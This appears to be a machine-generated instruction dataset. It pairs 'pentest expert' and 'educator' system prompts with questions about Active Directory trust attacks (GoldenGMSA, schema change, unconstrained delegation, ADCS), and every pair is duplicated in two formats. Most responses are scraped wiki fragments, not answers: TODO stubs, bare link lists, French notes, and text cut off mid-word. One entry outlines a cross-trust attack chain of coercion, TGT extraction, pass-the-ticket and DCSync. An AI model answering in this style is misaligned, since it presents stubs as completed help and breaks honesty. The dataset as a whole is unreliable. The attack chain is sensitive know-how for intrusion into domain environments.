[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Trusts - 🛠 Keys container trust

[Assistant]
// https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research

// Enterprise Domain Controllers have GenericAll on Keys container (CN=keys,DN=domain,DN=local), "Default container for key credential objects", used for gMSA ?

// Container should be empty, but if it's not, exploitable seulement s'il y a déjà des objets dans le conteneur ce qui n'est pas censé être le cas par défaut.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Trusts - 🛠 Keys container trust

Response:
// https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research

// Enterprise Domain Controllers have GenericAll on Keys container (CN=keys,DN=domain,DN=local), "Default container for key credential objects", used for gMSA ?

// Container should be empty, but if it's not, exploitable seulement s'il y a déjà des objets dans le conteneur ce qui n'est pas censé être le cas par défaut.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain Trusts - 🛠 DNS trust

[Assistant] // https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: // https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Trusts - 🛠 DNS trust?

[Assistant] // https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: // https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Trusts - 🛠 GoldenGMSA work?

[Assistant] // https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: // https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Trusts - 🛠 GoldenGMSA

[Assistant] // https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on Trusts - 🛠 GoldenGMSA

Response: // https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain Trusts - 🛠 Schema change attack (source)

[Assistant]
Depuis le domaine source, en tant que SYSTEM, on peut modifier le schéma dans la partition de Configuration puis attendre que ce soit répliqué sur le domaine cible

Plus particulièrement en modifiant le defaultSecurityDescriptor de classes intéressantes (groupes, users, GPC), ou retirant le flag confidential

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain Trusts - 🛠 Schema change attack (source)

Response:
Depuis le domaine source, en tant que SYSTEM, on peut modifier le schéma dans la partition de Configuration puis attendre que ce soit répliqué sur le domaine cible

Plus particulièrement en modifiant le defaultSecurityDescriptor de classes intéressantes (groupes, users, GPC), ou retirant le flag confidential


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Trusts - 🛠 Schema change attack (source) during a pentest?

[Assistant]
Depuis le domaine source, en tant que SYSTEM, on peut modifier le schéma dans la partition de Configuration puis attendre que ce soit répliqué sur le domaine cible

Plus particulièrement en modifiant le defaultSecurityDescriptor de classes intéressantes (groupes, users, GPC), ou retirant le flag confidential

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Trusts - 🛠 Schema change attack (source) during a pentest?

Response:
Depuis le domaine source, en tant que SYSTEM, on peut modifier le schéma dans la partition de Configuration puis attendre que ce soit répliqué sur le domaine cible

Plus particulièrement en modifiant le defaultSecurityDescriptor de classes intéressantes (groupes, users, GPC), ou retirant le flag confidential


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of Trusts - Unconstrained delegation abuse

[Assistant]
In order to abuse unconstrained delegation across trusts, TGT delegation must be allowed/enabled on the trust, and Selective Authentication must NOT be enabled (or with a configuration that would allow for the exploitation detailed below, see the Authentication level chapter).

In addition to that, the ideal setup would be to have a two-way trust between the compromised domain (A) and the target domain (B), in order to allow the exploitation detailed below.

1. (trusting B -> trusted A), allows access from A to B, allows to coerce authentications
2. (trusting A -> trusted B), allows access from B to A, allows the coerced account to authenticate to the attacker-controlled KUD account.

Other regular KUD-abuse-specific requirements apply (e.g. accounts not sensitive for delegation or member of the protected users group), see the Kerberos Unconstrained Delegation page.

If an attacker manages to gain control over an account configured for unconstrained delegation, he could escalate to domain admin privileges. Across trusts, the scenario is very similar. An attacker needs to gain control over a trusted account, configured for KUD (Kerberos Unconstrained Delegation), in order to act on a trusting resource (e.g. trusting domain's DC) as another principal (i.e. domain admin).

> [!TIP]
> By default, all domain controllers are configured for unconstrained delegation.

The Kerberos Unconstrained Delegation page can be consulted in order to obtain operational guidance on how to abuse this context.

In most cases, the attacker will have to:

1. coerce the authentication (PrinterBug, PetitPotam, ShadowCoerce, DFSCoerce, etc.) of a high-value target (e.g. domain controller) of the trusting domain
2. retrieve the TGT delegated in the service ticket the trusting resource used to access the attacker-controlled KUD account
3. authenticate to trusting resources using the extracted TGT (Pass the Ticket) in order to conduct privileged actions (e.g. DCSync)

> [!TIP]
> Read the Unconstr

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of Trusts - Unconstrained delegation abuse

Response:
In order to abuse unconstrained delegation across trusts, TGT delegation must be allowed/enabled on the trust, and Selective Authentication must NOT be enabled (or with a configuration that would allow for the exploitation detailed below, see the Authentication level chapter).

In addition to that, the ideal setup would be to have a two-way trust between the compromised domain (A) and the target domain (B), in order to allow the exploitation detailed below.

1. (trusting B -> trusted A), allows access from A to B, allows to coerce authentications
2. (trusting A -> trusted B), allows access from B to A, allows the coerced account to authenticate to the attacker-controlled KUD account.

Other regular KUD-abuse-specific requirements apply (e.g. accounts not sensitive for delegation or member of the protected users group), see the Kerberos Unconstrained Delegation page.

If an attacker manages to gain control over an account configured for unconstrained delegation, he could escalate to domain admin privileges. Across trusts, the scenario is very similar. An attacker needs to gain control over a trusted account, configured for KUD (Kerberos Unconstrained Delegation), in order to act on a trusting resource (e.g. trusting domain's DC) as another principal (i.e. domain admin).

> [!TIP]
> By default, all domain controllers are configured for unconstrained delegation.

The Kerberos Unconstrained Delegation page can be consulted in order to obtain operational guidance on how to abuse this context.

In most cases, the attacker will have to:

1. coerce the authentication (PrinterBug, PetitPotam, ShadowCoerce, DFSCoerce, etc.) of a high-value target (e.g. domain controller) of the trusting domain
2. retrieve the TGT delegated in the service ticket the trusting resource used to access the attacker-controlled KUD account
3. authenticate to trusting resources using the extracted TGT (Pass the Ticket) in order to conduct privileged actions (e.g. DCSync)

> [!TIP]
> Read the Unconstr


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Trusts - Unconstrained delegation abuse

[Assistant]
In order to abuse unconstrained delegation across trusts, TGT delegation must be allowed/enabled on the trust, and Selective Authentication must NOT be enabled (or with a configuration that would allow for the exploitation detailed below, see the Authentication level chapter).

In addition to that, the ideal setup would be to have a two-way trust between the compromised domain (A) and the target domain (B), in order to allow the exploitation detailed below.

1. (trusting B -> trusted A), allows access from A to B, allows to coerce authentications
2. (trusting A -> trusted B), allows access from B to A, allows the coerced account to authenticate to the attacker-controlled KUD account.

Other regular KUD-abuse-specific requirements apply (e.g. accounts not sensitive for delegation or member of the protected users group), see the Kerberos Unconstrained Delegation page.

If an attacker manages to gain control over an account configured for unconstrained delegation, he could escalate to domain admin privileges. Across trusts, the scenario is very similar. An attacker needs to gain control over a trusted account, configured for KUD (Kerberos Unconstrained Delegation), in order to act on a trusting resource (e.g. trusting domain's DC) as another principal (i.e. domain admin).

> [!TIP]
> By default, all domain controllers are configured for unconstrained delegation.

The Kerberos Unconstrained Delegation page can be consulted in order to obtain operational guidance on how to abuse this context.

In most cases, the attacker will have to:

1. coerce the authentication (PrinterBug, PetitPotam, ShadowCoerce, DFSCoerce, etc.) of a high-value target (e.g. domain controller) of the trusting domain
2. retrieve the TGT delegated in the service ticket the trusting resource used to access the attacker-controlled KUD account
3. authenticate to trusting resources using the extracted TGT (Pass the Ticket) in order to conduct privileged actions (e.g. DCSync)

> [!TIP]
> Read the Unconstr

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Trusts - Unconstrained delegation abuse

Response:
In order to abuse unconstrained delegation across trusts, TGT delegation must be allowed/enabled on the trust, and Selective Authentication must NOT be enabled (or with a configuration that would allow for the exploitation detailed below, see the Authentication level chapter).

In addition to that, the ideal setup would be to have a two-way trust between the compromised domain (A) and the target domain (B), in order to allow the exploitation detailed below.

1. (trusting B -> trusted A), allows access from A to B, allows to coerce authentications
2. (trusting A -> trusted B), allows access from B to A, allows the coerced account to authenticate to the attacker-controlled KUD account.

Other regular KUD-abuse-specific requirements apply (e.g. accounts not sensitive for delegation or member of the protected users group), see the Kerberos Unconstrained Delegation page.

If an attacker manages to gain control over an account configured for unconstrained delegation, he could escalate to domain admin privileges. Across trusts, the scenario is very similar. An attacker needs to gain control over a trusted account, configured for KUD (Kerberos Unconstrained Delegation), in order to act on a trusting resource (e.g. trusting domain's DC) as another principal (i.e. domain admin).

> [!TIP]
> By default, all domain controllers are configured for unconstrained delegation.

The Kerberos Unconstrained Delegation page can be consulted in order to obtain operational guidance on how to abuse this context.

In most cases, the attacker will have to:

1. coerce the authentication (PrinterBug, PetitPotam, ShadowCoerce, DFSCoerce, etc.) of a high-value target (e.g. domain controller) of the trusting domain
2. retrieve the TGT delegated in the service ticket the trusting resource used to access the attacker-controlled KUD account
3. authenticate to trusting resources using the extracted TGT (Pass the Ticket) in order to conduct privileged actions (e.g. DCSync)

> [!TIP]
> Read the Unconstr


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Trusts - 🛠 DACL abuse work?

[Assistant]
TODO // How a domain admin of forest A could administrate a domain in forest B ? https://social.technet.microsoft.com/Forums/windowsserver/en-US/fa4070bd-b09f-4ad2-b628-2624030c0116/forest-trust-domain-admins-to-manage-both-domains?forum=winserverDS

TODO // Regular permissions, ACE, and whatnot abuses, but now between foreign principals, BloodHound comes in handy.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
TODO // How a domain admin of forest A could administrate a domain in forest B ? https://social.technet.microsoft.com/Forums/windowsserver/en-US/fa4070bd-b09f-4ad2-b628-2624030c0116/forest-trust-domain-admins-to-manage-both-domains?forum=winserverDS

TODO // Regular permissions, ACE, and whatnot abuses, but now between foreign principals, BloodHound comes in handy.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Trusts - 🛠 DACL abuse

[Assistant]
TODO // How a domain admin of forest A could administrate a domain in forest B ? https://social.technet.microsoft.com/Forums/windowsserver/en-US/fa4070bd-b09f-4ad2-b628-2624030c0116/forest-trust-domain-admins-to-manage-both-domains?forum=winserverDS

TODO // Regular permissions, ACE, and whatnot abuses, but now between foreign principals, BloodHound comes in handy.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
TODO // How a domain admin of forest A could administrate a domain in forest B ? https://social.technet.microsoft.com/Forums/windowsserver/en-US/fa4070bd-b09f-4ad2-b628-2624030c0116/forest-trust-domain-admins-to-manage-both-domains?forum=winserverDS

TODO // Regular permissions, ACE, and whatnot abuses, but now between foreign principals, BloodHound comes in handy.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Trusts - 🛠 ADCS abuse?

[Assistant] When an ADCS is installed and configured in an Active Directory environment, a CA is available for the whole forest. Every usual ADCS attack can be executed through intra-forest trusts. ESC8 and ESC11 in particular can be used to pivot to any domain within the forest associated to the C

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Trusts - 🛠 ADCS abuse?

Response: When an ADCS is installed and configured in an Active Directory environment, a CA is available for the whole forest. Every usual ADCS attack can be executed through intra-forest trusts. ESC8 and ESC11 in particular can be used to pivot to any domain within the forest associated to the C


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Trusts - 🛠 ADCS abuse?

[Assistant] When an ADCS is installed and configured in an Active Directory environment, a CA is available for the whole forest. Every usual ADCS attack can be executed through intra-forest trusts. ESC8 and ESC11 in particular can be used to pivot to any domain within the forest associated to the C

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: When an ADCS is installed and configured in an Active Directory environment, a CA is available for the whole forest. Every usual ADCS attack can be executed through intra-forest trusts. ESC8 and ESC11 in particular can be used to pivot to any domain within the forest associated to the C


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Trusts - 🛠 Group memberships work?

[Assistant] // group scoping, https://posts.specterops.io/a-pentesters-guide-to-group-scoping-c7bbbd9c7560

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does Trusts - 🛠 Group memberships work?

Response: // group scoping, https://posts.specterops.io/a-pentesters-guide-to-group-scoping-c7bbbd9c7560


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Trusts - 🛠 Group memberships

[Assistant] // group scoping, https://posts.specterops.io/a-pentesters-guide-to-group-scoping-c7bbbd9c7560

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Trusts - 🛠 Group memberships

Response: // group scoping, https://posts.specterops.io/a-pentesters-guide-to-group-scoping-c7bbbd9c7560


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe Trusts - General in the context of penetration testing

[Assistant]
https://www.securesystems.de/blog/active-directory-spotlight-trusts-part-1-the-mechanics/

https://syfuhs.net/windows-and-domain-trusts

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)?redirectedfrom=MSDN?redirectedfrom=MSDN)

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc736874(v=ws.10))

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc773178(v=ws.10)#ntlm-referral-processing#ntlm-referral-processing)

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc755321(v=ws.10)?redirectedfrom=MSDN?redirectedfrom=MSDN)

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/bac4dc69-352d-416c-a9f4-730b81ababb3

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-apds/f47e40e1-b9ca-47e2-b139-15a1e96b0e72

https://blogs.msmvps.com/acefekay/tag/active-directory-trusts/

https://improsec.com/tech-blog/o83i79jgzk65bbwn1fwib1ela0rl2d

https://www.sstic.org/media/SSTIC2014/SSTIC-actes/secrets_dauthentification_pisode_ii__kerberos_cont/SSTIC2014-Slides-secrets_dauthentification_pisode_ii__kerberos_contre-attaque-bordes_2.pdf

https://secureidentity.se/msds-shadowprincipal/

https://learn.microsoft.com/en-us/microsoft-identity-manager/pam/privileged-identity-management-for-active-directory-domain-services

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe Trusts - General in the context of penetration testing

Response:
https://www.securesystems.de/blog/active-directory-spotlight-trusts-part-1-the-mechanics/

https://syfuhs.net/windows-and-domain-trusts

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)?redirectedfrom=MSDN?redirectedfrom=MSDN)

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc736874(v=ws.10))

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc773178(v=ws.10)#ntlm-referral-processing#ntlm-referral-processing)

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc755321(v=ws.10)?redirectedfrom=MSDN?redirectedfrom=MSDN)

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/bac4dc69-352d-416c-a9f4-730b81ababb3

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-apds/f47e40e1-b9ca-47e2-b139-15a1e96b0e72

https://blogs.msmvps.com/acefekay/tag/active-directory-trusts/

https://improsec.com/tech-blog/o83i79jgzk65bbwn1fwib1ela0rl2d

https://www.sstic.org/media/SSTIC2014/SSTIC-actes/secrets_dauthentification_pisode_ii__kerberos_cont/SSTIC2014-Slides-secrets_dauthentification_pisode_ii__kerberos_contre-attaque-bordes_2.pdf

https://secureidentity.se/msds-shadowprincipal/

https://learn.microsoft.com/en-us/microsoft-identity-manager/pam/privileged-identity-management-for-active-directory-domain-services


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Trusts - General?

[Assistant]
https://www.securesystems.de/blog/active-directory-spotlight-trusts-part-1-the-mechanics/

https://syfuhs.net/windows-and-domain-trusts

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)?redirectedfrom=MSDN?redirectedfrom=MSDN)

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc736874(v=ws.10))

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc773178(v=ws.10)#ntlm-referral-processing#ntlm-referral-processing)

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc755321(v=ws.10)?redirectedfrom=MSDN?redirectedfrom=MSDN)

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/bac4dc69-352d-416c-a9f4-730b81ababb3

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-apds/f47e40e1-b9ca-47e2-b139-15a1e96b0e72

https://blogs.msmvps.com/acefekay/tag/active-directory-trusts/

https://improsec.com/tech-blog/o83i79jgzk65bbwn1fwib1ela0rl2d

https://www.sstic.org/media/SSTIC2014/SSTIC-actes/secrets_dauthentification_pisode_ii__kerberos_cont/SSTIC2014-Slides-secrets_dauthentification_pisode_ii__kerberos_contre-attaque-bordes_2.pdf

https://secureidentity.se/msds-shadowprincipal/

https://learn.microsoft.com/en-us/microsoft-identity-manager/pam/privileged-identity-management-for-active-directory-domain-services

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
https://www.securesystems.de/blog/active-directory-spotlight-trusts-part-1-the-mechanics/

https://syfuhs.net/windows-and-domain-trusts

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)?redirectedfrom=MSDN?redirectedfrom=MSDN)

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc736874(v=ws.10))

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc773178(v=ws.10)#ntlm-referral-processing#ntlm-referral-processing)

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc755321(v=ws.10)?redirectedfrom=MSDN?redirectedfrom=MSDN)

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/bac4dc69-352d-416c-a9f4-730b81ababb3

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-apds/f47e40e1-b9ca-47e2-b139-15a1e96b0e72

https://blogs.msmvps.com/acefekay/tag/active-directory-trusts/

https://improsec.com/tech-blog/o83i79jgzk65bbwn1fwib1ela0rl2d

https://www.sstic.org/media/SSTIC2014/SSTIC-actes/secrets_dauthentification_pisode_ii__kerberos_cont/SSTIC2014-Slides-secrets_dauthentification_pisode_ii__kerberos_contre-attaque-bordes_2.pdf

https://secureidentity.se/msds-shadowprincipal/

https://learn.microsoft.com/en-us/microsoft-identity-manager/pam/privileged-identity-management-for-active-directory-domain-services


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is Trusts - Offensive POV?

[Assistant]
https://www.securesystems.de/blog/active-directory-spotlight-trusts-part-2-operational-guidance/

https://blog.harmj0y.net/redteaming/a-guide-to-attacking-domain-trusts/

https://dirkjanm.io/active-directory-forest-trusts-part-one-how-does-sid-filtering-work/

https://dirkjanm.io/active-directory-forest-trusts-part-two-trust-transitivity/

https://mayfly277.github.io/posts/GOADv2-pwning-part12

https://adsecurity.org/?p=282

https://adsecurity.org/?p=1640

https://blog.harmj0y.net/redteaming/domain-trusts-were-not-done-yet/

https://blog.harmj0y.net/redteaming/the-trustpocalypse/

https://blog.harmj0y.net/redteaming/not-a-security-boundary-breaking-forest-trusts/

https://adsecurity.org/?p=4056

https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1

https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-2-known-ad-attacks-from-child-to-parent

https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-3-sid-filtering-explained

https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research

https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent

https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent

https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-7-trust-account-attack-from-trusting-to-trusted

https://nored0x.github.io/red-teaming/active-directory-Trust-enumeration/

https://posts.specterops.io/not-a-security-boundary-breaking-forest-trusts-cd125829518d

https://adsecurity.org/?p=425

https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1

https://www.labofapenetrationtester.com/2019/04/abusing-PAM.html

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
https://www.securesystems.de/blog/active-directory-spotlight-trusts-part-2-operational-guidance/

https://blog.harmj0y.net/redteaming/a-guide-to-attacking-domain-trusts/

https://dirkjanm.io/active-directory-forest-trusts-part-one-how-does-sid-filtering-work/

https://dirkjanm.io/active-directory-forest-trusts-part-two-trust-transitivity/

https://mayfly277.github.io/posts/GOADv2-pwning-part12

https://adsecurity.org/?p=282

https://adsecurity.org/?p=1640

https://blog.harmj0y.net/redteaming/domain-trusts-were-not-done-yet/

https://blog.harmj0y.net/redteaming/the-trustpocalypse/

https://blog.harmj0y.net/redteaming/not-a-security-boundary-breaking-forest-trusts/

https://adsecurity.org/?p=4056

https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1

https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-2-known-ad-attacks-from-child-to-parent

https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-3-sid-filtering-explained

https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research

https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent

https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent

https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-7-trust-account-attack-from-trusting-to-trusted

https://nored0x.github.io/red-teaming/active-directory-Trust-enumeration/

https://posts.specterops.io/not-a-security-boundary-breaking-forest-trusts-cd125829518d

https://adsecurity.org/?p=425

https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1

https://www.labofapenetrationtester.com/2019/04/abusing-PAM.html


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Trusts - Offensive POV

[Assistant]
https://www.securesystems.de/blog/active-directory-spotlight-trusts-part-2-operational-guidance/

https://blog.harmj0y.net/redteaming/a-guide-to-attacking-domain-trusts/

https://dirkjanm.io/active-directory-forest-trusts-part-one-how-does-sid-filtering-work/

https://dirkjanm.io/active-directory-forest-trusts-part-two-trust-transitivity/

https://mayfly277.github.io/posts/GOADv2-pwning-part12

https://adsecurity.org/?p=282

https://adsecurity.org/?p=1640

https://blog.harmj0y.net/redteaming/domain-trusts-were-not-done-yet/

https://blog.harmj0y.net/redteaming/the-trustpocalypse/

https://blog.harmj0y.net/redteaming/not-a-security-boundary-breaking-forest-trusts/

https://adsecurity.org/?p=4056

https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1

https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-2-known-ad-attacks-from-child-to-parent

https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-3-sid-filtering-explained

https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research

https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent

https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent

https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-7-trust-account-attack-from-trusting-to-trusted

https://nored0x.github.io/red-teaming/active-directory-Trust-enumeration/

https://posts.specterops.io/not-a-security-boundary-breaking-forest-trusts-cd125829518d

https://adsecurity.org/?p=425

https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1

https://www.labofapenetrationtester.com/2019/04/abusing-PAM.html

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
https://www.securesystems.de/blog/active-directory-spotlight-trusts-part-2-operational-guidance/

https://blog.harmj0y.net/redteaming/a-guide-to-attacking-domain-trusts/

https://dirkjanm.io/active-directory-forest-trusts-part-one-how-does-sid-filtering-work/

https://dirkjanm.io/active-directory-forest-trusts-part-two-trust-transitivity/

https://mayfly277.github.io/posts/GOADv2-pwning-part12

https://adsecurity.org/?p=282

https://adsecurity.org/?p=1640

https://blog.harmj0y.net/redteaming/domain-trusts-were-not-done-yet/

https://blog.harmj0y.net/redteaming/the-trustpocalypse/

https://blog.harmj0y.net/redteaming/not-a-security-boundary-breaking-forest-trusts/

https://adsecurity.org/?p=4056

